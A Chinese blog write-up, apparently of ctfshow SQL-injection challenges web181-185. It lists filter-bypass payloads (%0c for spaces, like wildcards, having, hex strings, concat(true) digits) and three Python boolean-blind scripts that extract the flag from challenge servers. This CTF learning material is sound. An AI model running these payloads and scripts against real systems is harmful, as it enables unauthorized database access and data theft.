SQL注入篇2(web181-185)

国庆也没啥事,正好把前一段刷的题总结复盘一下

1.web181

如上过滤了空格以及很多代替空格的字符还有#等

经过测试%0c还是可以用,同web180用--%0c代替#

'or'1'='1'--%0c

1'||1--%0c

另一种思路如下:

'or(username)='flag

'%0cor%0cusername%0clike%0c'flag(%0c代替空格)

2.web182

1'||1--%0c

%0c换成%01到%08都可以

或者用like以及%进行通配绕过

0'||%0cusername%0clike'f%(%匹配任意长度字符)

0'||%0cusername%0clike'f___(_匹配单个字符)

3.web183(布尔盲注,184,185也是)

又要写脚本了(贴上大佬的),其实逻辑不是很复杂,但是我比较懒(,现在感觉写这种脚本把逻辑直接说给gpt写的也很快稍微改改就可以

同样过滤空格用括号,过滤等号用like

为什么是布尔盲注呢,后面尝试注入的时候发现查询成功返回1,查询失败返回0,那么就可以一个一个字符猜测flag的值喽

ctfshow-web入门-sql注入(web181-web185)_ctfshowweb183-CSDN博客                                 

import requests
import string
url = 'http://e0cc75fb-0ad4-4a1a-8aad-c1882f0b1817.challenge.ctf.show/select-waf.php'
dic = string.digits+string.ascii_lowercase+'-{}'  # flag可能的字符
# print(dic)
out = 'ctfshow{'  # 已经确定的部分
for j in range(0, 50):  # 为了确保flag完整输出,范围尽量大一点,观察到flag完全输出后结束运行即可
    for k in dic:
        payload = {'tableName': f"(ctfshow_user)where(pass)like'{out+k}%'"}  # 将每次更新后的out加上我们新增的一个猜测字符添加到payload
        # print(payload)
        re = requests.post(url, data=payload)
        # print(re.text)
        if '$user_count = 1;' in re.text:
            print(k)
            out += k
            break  # 回显1说明我们猜正确了,跳出内层循环,继续猜下一位
    print(out)

4.web184 

where也过滤了,用having代替;

引号被过滤了,那么字符串部分可以采用16进制绕过

import requests
import string
url = 'http://e5acd03e-3198-48bf-871e-e4206c247bf6.challenge.ctf.show/select-waf.php'
dic = string.digits+string.ascii_lowercase+'-{}'  # flag可能的字符
dic = [f"{ord(c):02x}" for c in dic]  # 将字符转为十六进制格式
# print(dic)
out = '0x63746673686f777b'  # 已经确定的部分
for j in range(0, 50):  # 为了确保flag完整输出,范围尽量大一点,观察到flag完全输出后结束运行即可
    for k in dic:
        # print(k)
        # payload = {'tableName': f"(ctfshow_user)where(pass)like'{out+k}%'"}  # 将每次更新后的out加上我们新增的一个猜测字符添加到payload
        payload = {'tableName': f"ctfshow_user group by pass having pass like {out+k}25"}
        # print(payload)
        re = requests.post(url, data=payload)
        # print(re.text)
        if '$user_count = 1;' in re.text:
            print(k)
            out += k
            break  # 回显1说明我们猜正确了,跳出内层循环,继续猜下一位
    print(out)

5.web185

数字被过滤了

可以使用 true 结合 concat 拼接出数字

比如select concat(true+true+true,true) 结果就是31

附上羽师傅的脚本

import requests
import string
url="http://9e3d2b9e-cd80-46f6-a96d-fdae265dd694.challenge.ctf.show/select-waf.php"
s=string.digits+string.ascii_lowercase+'-{}'
def convert(strs):
  t='concat('
  for s in strs:
    t+= 'char(true'+'+true'*(ord(s)-1)+'),'
  return t[:-1]+")"
flag=''
for i in range(1,45):
  print(i)
  for j in s:
    d = convert(f'^ctfshow{flag+j}')
    payload={
    'tableName':f' ctfshow_user group by pass having pass regexp({d})'
    }
    #print(data)
    r=requests.post(url,data=payload)
    #print(r.text)
    if("user_count = 1"  in r.text):
      flag+=j
      print(flag)
      if j=='}':
        exit(0)
      break

贴上代码的解释吧,前期不会写脚本至少认真学看懂各位师傅写的代码

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值